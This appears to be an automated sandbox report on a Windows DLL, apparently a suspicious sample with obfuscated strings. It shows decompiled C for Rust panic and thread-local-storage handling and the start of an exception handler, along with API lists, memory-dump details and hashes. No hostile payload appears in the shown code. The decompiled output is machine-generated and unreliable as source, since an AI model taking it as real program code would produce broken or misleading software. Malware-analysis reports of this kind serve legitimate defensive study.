Instruction Fuzzy Hash: DB1244B0E002998FEB10CFE4C855B9EBFB5FB49344F208529D415AB781E776A946CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC6D0, Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 409
memoryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6EBEC6D0(long _a4, signed int _a8) {
				intOrPtr _v4;
				void* _v20;
				void _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t193;
				void* _t197;
				void _t198;
				intOrPtr* _t199;
				signed int _t200;
				signed int _t202;
				char* _t204;
				long _t205;
				long _t206;
				void* _t207;
				void* _t208;
				long _t209;
				void _t212;
				void _t213;
				void* _t222;
				void* _t225;
				long _t229;
				void* _t238;
				void* _t248;
				void* _t250;
				void* _t251;
				char** _t254;
				char** _t255;
				void* _t259;
				void* _t263;
				void _t268;
				char _t269;
				signed char _t271;
				void* _t274;
				void _t275;
				intOrPtr _t278;
				void* _t280;
				char* _t281;
				void _t282;
				void _t285;
				intOrPtr _t296;
				intOrPtr _t300;
				void _t303;
				long _t307;
				intOrPtr _t312;
				void* _t314;
				void* _t315;
				signed int _t316;
				signed int _t318;
				void* _t324;
				intOrPtr* _t330;
				long _t332;
				void* _t333;
				void* _t337;
				void _t338;
				void* _t340;
				void* _t341;
				void* _t342;
				void* _t343;
				void _t346;
				void* _t347;
				void* _t348;
				void* _t359;
				void* _t372;
				long _t373;

				 *_t346 = _t274;
				_v4 = _t312;
				_t275 = _t346;
				_push(_a4);
				_push(0);
				L1();
				_t347 = _t346 + 8;
				asm("ud2");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t348 = _t347 - 0x88;
				_v40 = _t348;
				_v28 = 0xffffffff;
				_v32 = E6EBF39A0;
				_t268 = _t275;
				_t340 = 1;
				_t337 = 0x6ec301dc;
				_v36 =  *[fs:0x0];
				 *[fs:0x0] =  &_v36;
				asm("lock xadd [0x6ec3e120], esi");
				_t193 = E6EBED000(_t268, 0x6ec301dc);
				_t349 = _t193;
				if(_t193 == 0) {
					_t193 = E6EC095A0(_t268,  &M6EC2F8F7, 0x46, _t349,  &_v68, 0x6ec2f870, 0x6ec2f9bc);
					_t348 = _t348 + 0xc;
					asm("ud2");
				}
				_t314 = _a8;
				_t278 =  *_t193 + 1;
				 *_t193 = _t278;
				if(_t340 < 0 || _t278 >= 3) {
					__eflags = _t278 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6ec2f570;
						_v120 = 0x6ec2f824;
						_v68 = 0x6ec30260;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t314;
						_t315 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6EBE2470;
						_v52 =  &_v80;
						_v48 = 1;
						_t197 = E6EBED0F0( &_v100, __eflags);
						__eflags = _t197 - 3;
						if(_t197 == 3) {
							_v20 = 0;
							_v36 = _t315;
							 *((intOrPtr*)( *((intOrPtr*)(_t315 + 4))))( *_t315);
							_t348 = _t348 + 4;
							L12:
							_t340 = _v36;
							_t307 =  *(_t340 + 4);
							__eflags =  *(4 + _t307);
							if( *(4 + _t307) != 0) {
								HeapFree( *0x6ec3e128, 0, _t259);
							}
							_t197 = HeapFree( *0x6ec3e128, 0, _t340);
						}
						goto L17;
					}
					_t333 =  &_v68;
					_v68 = 0x6ec30224;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6ec2f570;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t197 = E6EBED0F0( &_v124, __eflags);
					__eflags = _t197 - 3;
					if(_t197 != 3) {
						goto L17;
					} else {
						_v20 = 1;
						_v36 = _t333;
						 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
						_t348 = _t348 + 4;
						goto L12;
					}
				} else {
					_v132 = _t278;
					__imp__AcquireSRWLockShared(0x6ec3e11c);
					_v144 = 0x6ec3e11c;
					_v20 = 2;
					_v136 = _t268;
					_v140 = _t337;
					_t263 =  *((intOrPtr*)(_t337 + 0x10))(_t268);
					_t348 = _t348 + 4;
					_v36 = _t263;
					_v40 = _t314;
					_t197 = E6EBED000(_t268, _t337);
					_t337 = _v40;
					_t352 = _t197;
					if(_t197 != 0) {
						L18:
						__eflags =  *_t197 - 1;
						_t280 = 1;
						if( *_t197 <= 1) {
							_t198 =  *0x6ec3e110; // 0x0
							_t316 = _a8;
							__eflags = _t198 - 2;
							if(_t198 == 2) {
								_t280 = 0;
								goto L20;
							}
							__eflags = _t198 - 1;
							if(_t198 == 1) {
								_t280 = 4;
								goto L20;
							}
							__eflags = _t198;
							if(_t198 != 0) {
								goto L20;
							}
							E6EBED380(_t268,  &_v68, _t337, _t340);
							_t337 = _v40;
							_t251 = _v68;
							__eflags = _t251;
							if(_t251 != 0) {
								goto L69;
							}
							_t271 = 5;
							goto L87;
						}
						_t316 = _a8;
						goto L20;
					} else {
						E6EC095A0(_t268,  &M6EC2F8F7, 0x46, _t352,  &_v68, 0x6ec2f870, 0x6ec2f9bc);
						_t348 = _t348 + 0xc;
						L62:
						asm("ud2");
						L63:
						_t281 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t204 = 0xc;
						L22:
						_v100 = _t281;
						_v96 = _t204;
						_t205 =  *0x6ec3d044; // 0x0
						if(_t205 == 0) {
							_t285 = 0x6ec3d044;
							_t205 = E6EBF2960(_t268, 0x6ec3d044, _t337, _t340);
						}
						_t197 = TlsGetValue(_t205);
						if(_t197 <= 1) {
							L43:
							_t206 =  *0x6ec3d044; // 0x0
							__eflags = _t206;
							if(_t206 == 0) {
								_t285 = 0x6ec3d044;
								_t206 = E6EBF2960(_t268, 0x6ec3d044, _t337, _t340);
							}
							_t197 = TlsGetValue(_t206);
							__eflags = _t197;
							if(_t197 == 0) {
								_t207 =  *0x6ec3e128; // 0x820000
								__eflags = _t207;
								if(_t207 != 0) {
									L67:
									_t208 = HeapAlloc(_t207, 0, 0x10);
									__eflags = _t208;
									if(__eflags != 0) {
										 *_t208 = 0;
										 *(_t208 + 0xc) = 0x6ec3d044;
										_t340 = _t208;
										_t209 =  *0x6ec3d044; // 0x0
										__eflags = _t209;
										if(_t209 == 0) {
											_v36 = _t340;
											_t209 = E6EBF2960(_t268, 0x6ec3d044, _t337, _t340);
											_t340 = _v36;
										}
										_t197 = TlsSetValue(_t209, _t340);
										goto L76;
									}
									L68:
									_t251 = E6EC092F0(_t268, 0x10, 4, _t337, _t340, __eflags);
									asm("ud2");
									L69:
									_t332 = _v60;
									_t303 = _v64;
									__eflags = _t332 - 4;
									if(_t332 == 4) {
										__eflags =  *_t251 - 0x6c6c7566;
										if( *_t251 != 0x6c6c7566) {
											L84:
											_t340 = 2;
											_t271 = 0;
											__eflags = 0;
											L85:
											__eflags = _t303;
											if(_t303 != 0) {
												HeapFree( *0x6ec3e128, 0, _t251);
											}
											L87:
											__eflags = _t271 - 5;
											_t316 = _a8;
											_t273 =  !=  ? _t340 : 1;
											_t280 =  !=  ? _t271 & 0x000000ff : 4;
											_t144 =  !=  ? _t340 : 1;
											_t268 =  *0x6ec3e110;
											 *0x6ec3e110 =  !=  ? _t340 : 1;
											L20:
											_v148 = _t316;
											_v128 = _t280;
											_t61 = _t337 + 0xc; // 0x6ebf3290
											_t199 =  *_t61;
											_v40 = _t199;
											_t200 =  *_t199(_v36);
											_t348 = _t348 + 4;
											_t318 = _t316 ^ 0x7ef2a91e | _t200 ^ 0xecc7bcf4;
											__eflags = _t318;
											if(__eflags != 0) {
												_t202 = _v40(_v36);
												_t348 = _t348 + 4;
												__eflags = _t318 ^ 0xe43a67d8 | _t202 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L63;
												}
												_t254 = _v36;
												_t281 =  *_t254;
												_t204 = _t254[2];
												goto L22;
											}
											_t255 = _v36;
											_t281 =  *_t255;
											_t204 = _t255[1];
											goto L22;
										}
										_t271 = 1;
										_t340 = 3;
										goto L85;
									}
									__eflags = _t332 - 1;
									if(_t332 != 1) {
										goto L84;
									}
									__eflags =  *_t251 - 0x30;
									if( *_t251 != 0x30) {
										goto L84;
									}
									_t271 = 4;
									_t340 = 1;
									goto L85;
								}
								_t207 = GetProcessHeap();
								__eflags = _t207;
								if(__eflags == 0) {
									goto L68;
								}
								 *0x6ec3e128 = _t207;
								goto L67;
							} else {
								_t340 = _t197;
								__eflags = _t197 - 1;
								if(_t197 != 1) {
									L76:
									_t282 =  *(_t340 + 8);
									__eflags =  *_t340;
									_t138 = _t340 + 4; // 0x4
									_t337 = _t138;
									 *_t340 = 1;
									 *(_t340 + 4) = 0;
									 *(_t340 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t282;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t197 = E6EBEC640(_t282);
											}
										}
									}
									goto L27;
								}
								_v84 = 0;
								_v36 = 0;
								_t213 = 0;
								__eflags = 0;
								goto L48;
							}
						} else {
							_t337 = _t197;
							if( *_t197 != 1) {
								goto L43;
							}
							_t337 = _t337 + 4;
							L27:
							if( *_t337 != 0) {
								E6EC095A0(_t268, "already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd", 0x10, __eflags,  &_v68, 0x6ec2f860, 0x6ec2ff30);
								_t348 = _t348 + 0xc;
								goto L62;
							}
							 *_t337 = 0xffffffff;
							_t340 =  *(_t337 + 4);
							if(_t340 == 0) {
								_v36 = _t337;
								_v20 = 8;
								_t250 = E6EBEC4D0(_t268, _t337, _t340);
								_t337 = _v36;
								_t340 = _t250;
								_t197 =  *(_t337 + 4);
								_t359 = _t197;
								if(_t359 != 0) {
									asm("lock dec dword [eax]");
									if(_t359 == 0) {
										_t285 =  *(_t337 + 4);
										_t197 = E6EBEC640(_t285);
									}
								}
								 *(_t337 + 4) = _t340;
							}
							asm("lock inc dword [esi]");
							if(_t359 <= 0) {
								L17:
								asm("ud2");
								asm("ud2");
								goto L18;
							} else {
								 *_t337 =  *_t337 + 1;
								_v84 = _t340;
								_v36 = _t340;
								if(_t340 != 0) {
									_t212 =  *(_t340 + 0x10);
									__eflags = _t212;
									_t285 =  ==  ? _t212 : _t340 + 0x10;
									__eflags = _t285;
									if(__eflags != 0) {
										L104:
										_t213 =  *_t285;
										_t285 =  *((intOrPtr*)(4 + _t285)) - 1;
										L105:
										_v20 = 3;
										L48:
										_v124 = 0x6ec3010c;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t323 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t215 =  !=  ? _t285 : 9;
										_v80 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t324 =  &_v124;
										_v76 =  !=  ? _t285 : 9;
										_v68 =  &_v80;
										_v64 = 0x6ebedca0;
										_v60 =  &_v100;
										_v56 = 0x6ebedca0;
										_v52 =  &_v148;
										_v48 = E6EBEDCC0;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6EBED0F0( &_v92, _t213) == 3) {
											_v20 = 7;
											_v40 = _t324;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t348 = _t348 + 4;
											_t343 = _v40;
											_t300 =  *((intOrPtr*)(_t343 + 4));
											if( *((intOrPtr*)(_t300 + 4)) != 0) {
												_t248 =  *_t343;
												if( *((intOrPtr*)(_t300 + 8)) >= 9) {
													_t248 =  *(_t248 - 4);
												}
												HeapFree( *0x6ec3e128, 0, _t248);
											}
											HeapFree( *0x6ec3e128, 0, _t343);
										}
										_t269 = _v128;
										_t222 =  <  ? (_t269 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t222 == 0) {
											__imp__AcquireSRWLockExclusive(0x6ec3e10c);
											_v68 = 0x6ec2fad0;
											_v64 = 1;
											_v152 = 0x6ec3e10c;
											_v41 = _t269;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6EBEDD30;
											_v52 =  &_v124;
											_v48 = 1;
											_t225 = E6EBED0F0( &_v92, __eflags);
											_t341 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6ec3e10c);
											__eflags = _t225 - 3;
											if(__eflags != 0) {
												goto L95;
											}
											_v20 = 5;
											_v40 = _t341;
											 *((intOrPtr*)( *((intOrPtr*)(_t341 + 4))))( *_t341);
											_t348 = _t348 + 4;
											goto L90;
										} else {
											if(_t222 == 1) {
												L95:
												_t372 = _v36;
												if(_t372 != 0) {
													asm("lock dec dword [eax]");
													if(_t372 == 0) {
														E6EBEC640(_v84);
													}
												}
												_t342 = _v140;
												_t338 = _v136;
												_t373 = _v72;
												if(_t373 != 0) {
													asm("lock dec dword [eax]");
													if(_t373 == 0) {
														E6EBEDA70(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6ec3e11c);
												_t374 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6ec3029c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6ec2f570;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t229 = E6EBED0F0( &_v80, _t374);
													_v120 =  &_v68;
													_v124 = _t229;
													E6EBED2B0( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t285 = _t338;
												E6EBED290(_t285, _t342);
												asm("ud2");
												goto L104;
											}
											 *0x6ec3d040 = 0;
											_t368 =  *0x6ec3d040;
											if( *0x6ec3d040 == 0) {
												goto L95;
											}
											_t330 =  &_v68;
											_v68 = 0x6ec3017c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6ec2f570;
											_v48 = 0;
											_v20 = 3;
											if(E6EBED0F0( &_v92, _t368) != 3) {
												goto L95;
											}
											_v40 = _t330;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t330 + 4))))( *_t330);
											_t348 = _t348 + 4;
											L90:
											_t296 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t296 + 4)) != 0) {
												_t238 =  *_v40;
												if( *((intOrPtr*)(_t296 + 8)) >= 9) {
													_t238 =  *(_t238 - 4);
												}
												HeapFree( *0x6ec3e128, 0, _t238);
											}
											HeapFree( *0x6ec3e128, 0, _v40);
											goto L95;
										}
									}
									_t213 = 0;
									goto L105;
								}
								_t213 = 0;
								goto L48;
							}
						}
					}
				}
			}

0x6ebec6d7
0x6ebec6da
0x6ebec6de
0x6ebec6e5
0x6ebec6e6
0x6ebec6e8
0x6ebec6ed
0x6ebec6f0
0x6ebec6f2
0x6ebec6f3
0x6ebec6f4
0x6ebec6f5
0x6ebec6f6
0x6ebec6f7
0x6ebec6f8
0x6ebec6f9
0x6ebec6fa
0x6ebec6fb
0x6ebec6fc
0x6ebec6fd
0x6ebec6fe
0x6ebec6ff
0x6ebec706
0x6ebec70c
0x6ebec70f
0x6ebec716
0x6ebec71d
0x6ebec722
0x6ebec727
0x6ebec730
0x6ebec733
0x6ebec739
0x6ebec741
0x6ebec746
0x6ebec748
0x6ebec762
0x6ebec767
0x6ebec76a
0x6ebec76a
0x6ebec76e
0x6ebec771
0x6ebec774
0x6ebec776
0x6ebec7ea
0x6ebec7ed
0x6ebec84a
0x6ebec851
0x6ebec85b
0x6ebec862
0x6ebec869
0x6ebec86d
0x6ebec874
0x6ebec87b
0x6ebec881
0x6ebec884
0x6ebec887
0x6ebec88d
0x6ebec894
0x6ebec897
0x6ebec89e
0x6ebec8a3
0x6ebec8a5
0x6ebec8ac
0x6ebec8b4
0x6ebec8b7
0x6ebec8b9
0x6ebec8bc
0x6ebec8bc
0x6ebec8bf
0x6ebec8c2
0x6ebec8c6
0x6ebec8dc
0x6ebec8dc
0x6ebec8ea
0x6ebec8ea
0x00000000
0x6ebec8a5
0x6ebec7f2
0x6ebec7f5
0x6ebec7fc
0x6ebec803
0x6ebec80a
0x6ebec811
0x6ebec815
0x6ebec81c
0x6ebec823
0x6ebec828
0x6ebec82a
0x00000000
0x6ebec830
0x6ebec835
0x6ebec83d
0x6ebec840
0x6ebec842
0x00000000
0x6ebec842
0x6ebec77d
0x6ebec77d
0x6ebec785
0x6ebec78b
0x6ebec795
0x6ebec79c
0x6ebec7a3
0x6ebec7a9
0x6ebec7ac
0x6ebec7af
0x6ebec7b2
0x6ebec7b5
0x6ebec7ba
0x6ebec7bd
0x6ebec7bf
0x6ebec8f3
0x6ebec8f3
0x6ebec8f6
0x6ebec8f8
0x6ebec9cb
0x6ebec9d0
0x6ebec9d3
0x6ebec9d6
0x6ebecbd7
0x00000000
0x6ebecbd7
0x6ebec9dc
0x6ebec9df
0x6ebecbd0
0x00000000
0x6ebecbd0
0x6ebec9e5
0x6ebec9e7
0x00000000
0x00000000
0x6ebec9f0
0x6ebec9f5
0x6ebec9f8
0x6ebec9fb
0x6ebec9fd
0x00000000
0x00000000
0x6ebeca03
0x00000000
0x6ebeca03
0x6ebec8fe
0x00000000
0x6ebec7c5
0x6ebec7dd
0x6ebec7e2
0x6ebecbfe
0x6ebecbfe
0x6ebecc00
0x6ebecc00
0x6ebecc05
0x6ebec933
0x6ebec933
0x6ebec936
0x6ebec939
0x6ebec940
0x6ebec942
0x6ebec947
0x6ebec947
0x6ebec94d
0x6ebec956
0x6ebeca33
0x6ebeca33
0x6ebeca38
0x6ebeca3a
0x6ebeca3c
0x6ebeca41
0x6ebeca41
0x6ebeca47
0x6ebeca4d
0x6ebeca4f
0x6ebecc0f
0x6ebecc14
0x6ebecc16
0x6ebecc26
0x6ebecc2b
0x6ebecc30
0x6ebecc32
0x6ebecc72
0x6ebecc78
0x6ebecc7f
0x6ebecc81
0x6ebecc86
0x6ebecc88
0x6ebecc8f
0x6ebecc92
0x6ebecc97
0x6ebecc97
0x6ebecc9c
0x00000000
0x6ebecc9c
0x6ebecc34
0x6ebecc3e
0x6ebecc43
0x6ebecc45
0x6ebecc45
0x6ebecc48
0x6ebecc4b
0x6ebecc4e
0x6ebeccf8
0x6ebeccfe
0x6ebecd09
0x6ebecd09
0x6ebecd0e
0x6ebecd0e
0x6ebecd10
0x6ebecd10
0x6ebecd12
0x6ebecd1d
0x6ebecd1d
0x6ebecd22
0x6ebecd22
0x6ebecd2d
0x6ebecd35
0x6ebecd38
0x6ebecd3b
0x6ebecd3b
0x6ebecd3b
0x6ebec901
0x6ebec901
0x6ebec907
0x6ebec90a
0x6ebec90a
0x6ebec910
0x6ebec913
0x6ebec915
0x6ebec923
0x6ebec923
0x6ebec925
0x6ebeca0d
0x6ebeca10
0x6ebeca1e
0x6ebeca20
0x00000000
0x00000000
0x6ebeca26
0x6ebeca29
0x6ebeca2b
0x00000000
0x6ebeca2b
0x6ebec92b
0x6ebec92e
0x6ebec930
0x00000000
0x6ebec930
0x6ebecd00
0x6ebecd02
0x00000000
0x6ebecd02
0x6ebecc54
0x6ebecc57
0x00000000
0x00000000
0x6ebecc5d
0x6ebecc60
0x00000000
0x00000000
0x6ebecc66
0x6ebecc68
0x00000000
0x6ebecc68
0x6ebecc18
0x6ebecc1d
0x6ebecc1f
0x00000000
0x00000000
0x6ebecc21
0x00000000
0x6ebeca55
0x6ebeca55
0x6ebeca57
0x6ebeca5a
0x6ebecca2
0x6ebecca2
0x6ebecca5
0x6ebecca8
0x6ebecca8
0x6ebeccab
0x6ebeccb1
0x6ebeccb8
0x6ebeccbf
0x6ebeccc5
0x6ebeccc7
0x6ebecccd
0x6ebeccd0
0x6ebeccd6
0x6ebeccd6
0x6ebeccd0
0x6ebeccc7
0x00000000
0x6ebeccbf
0x6ebeca60
0x6ebeca67
0x6ebeca6e
0x6ebeca6e
0x00000000
0x6ebeca6e
0x6ebec95c
0x6ebec95f
0x6ebec961
0x00000000
0x00000000
0x6ebec967
0x6ebec96a
0x6ebec96d
0x6ebecbf6
0x6ebecbfb
0x00000000
0x6ebecbfb
0x6ebec973
0x6ebec979
0x6ebec97e
0x6ebec980
0x6ebec983
0x6ebec98a
0x6ebec98f
0x6ebec992
0x6ebec994
0x6ebec997
0x6ebec999
0x6ebec99b
0x6ebec99e
0x6ebec9a0
0x6ebec9a3
0x6ebec9a3
0x6ebec99e
0x6ebec9a8
0x6ebec9a8
0x6ebec9ab
0x6ebec9ae
0x6ebec8ef
0x6ebec8ef
0x6ebec8f1
0x00000000
0x6ebec9b4
0x6ebec9b4
0x6ebec9b8
0x6ebec9bb
0x6ebec9be
0x6ebecce0
0x6ebecce6
0x6ebecce8
0x6ebecce8
0x6ebecceb
0x6ebecea2
0x6ebecea2
0x6ebecea7
0x6ebecea8
0x6ebecea8
0x6ebeca70
0x6ebeca77
0x6ebeca7e
0x6ebeca85
0x6ebeca8c
0x6ebeca90
0x6ebeca97
0x6ebeca9e
0x6ebecaa5
0x6ebecaad
0x6ebecab0
0x6ebecab6
0x6ebecab9
0x6ebecabf
0x6ebecac5
0x6ebecacc
0x6ebecad5
0x6ebecadc
0x6ebecae2
0x6ebecae9
0x6ebecaec
0x6ebecafa
0x6ebecb01
0x6ebecb09
0x6ebecb0c
0x6ebecb0e
0x6ebecb11
0x6ebecb14
0x6ebecb1b
0x6ebecb1d
0x6ebecb23
0x6ebecb25
0x6ebecb25
0x6ebecb31
0x6ebecb31
0x6ebecb3f
0x6ebecb3f
0x6ebecb44
0x6ebecb55
0x6ebecb5a
0x6ebecd4b
0x6ebecd5a
0x6ebecd61
0x6ebecd68
0x6ebecd72
0x6ebecd75
0x6ebecd7c
0x6ebecd83
0x6ebecd89
0x6ebecd90
0x6ebecd93
0x6ebecd9a
0x6ebecd9f
0x6ebecda8
0x6ebecdae
0x6ebecdb1
0x00000000
0x00000000
0x6ebecdb8
0x6ebecdc0
0x6ebecdc3
0x6ebecdc5
0x00000000
0x6ebecb60
0x6ebecb63
0x6ebece00
0x6ebece03
0x6ebece05
0x6ebece07
0x6ebece0a
0x6ebece0f
0x6ebece0f
0x6ebece0a
0x6ebece17
0x6ebece1d
0x6ebece23
0x6ebece25
0x6ebece27
0x6ebece2a
0x6ebece2f
0x6ebece2f
0x6ebece2a
0x6ebece39
0x6ebece3f
0x6ebece43
0x6ebece4a
0x6ebece52
0x6ebece59
0x6ebece60
0x6ebece67
0x6ebece6e
0x6ebece72
0x6ebece79
0x6ebece80
0x6ebece88
0x6ebece8b
0x6ebece8e
0x6ebece93
0x6ebece95
0x6ebece95
0x6ebece97
0x6ebece9b
0x6ebecea0
0x00000000
0x6ebecea0
0x6ebecb6b
0x6ebecb71
0x6ebecb73
0x00000000
0x00000000
0x6ebecb7c
0x6ebecb7f
0x6ebecb86
0x6ebecb8d
0x6ebecb94
0x6ebecb9b
0x6ebecba2
0x6ebecbb0
0x00000000
0x00000000
0x6ebecbbb
0x6ebecbbe
0x6ebecbc6
0x6ebecbc8
0x6ebecdc8
0x6ebecdcb
0x6ebecdd2
0x6ebecddb
0x6ebecddd
0x6ebecddf
0x6ebecddf
0x6ebecdeb
0x6ebecdeb
0x6ebecdfb
0x00000000
0x6ebecdfb
0x6ebecb5a
0x6ebeccf1
0x00000000
0x6ebeccf1
0x6ebec9c4
0x00000000
0x6ebec9c4
0x6ebec9ae
0x6ebec956
0x6ebec7bf

APIs

Part of subcall function 6EBEC700: AcquireSRWLockShared.KERNEL32(6EC3E11C), ref: 6EBEC785

HeapFree.KERNEL32(00000000,00000000), ref: 6EBEC8DC
HeapFree.KERNEL32(00000000,?), ref: 6EBEC8EA
TlsGetValue.KERNEL32(00000000), ref: 6EBEC94D
HeapFree.KERNEL32(00000000,00000000), ref: 6EBECB31
HeapFree.KERNEL32(00000000,?), ref: 6EBECB3F

Strings

Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6EBECC00
cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa, xrefs: 6EBEC74D, 6EBEC7C8

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$AcquireLockSharedValue
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa
API String ID: 942675266-716947571
Opcode ID: eddef04ac5e96b3e9f3734bbe6b085478d9d32c45cf01bda244f49a2912cfb07
Instruction ID: ed63c59c100b3c4560959e41b315ea1a64a65d2d969013c95b464d49001f27f4
Opcode Fuzzy Hash: eddef04ac5e96b3e9f3734bbe6b085478d9d32c45cf01bda244f49a2912cfb07
Instruction Fuzzy Hash: A30254B0A002998FEB10CFE4C954B9EBFB5FF49344F208529D419AB781E775A946CF81

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFF6F6, Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E6EBFF6F6(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E6EC00658(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E6EC01C23(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_push(_t319);
						_push(_t305);
						_t203 = E6EBFF3B1(_t275, _t279, _t300, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E6EBFF3B1(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E6EBFEBF7(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E6EBFEB2A(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
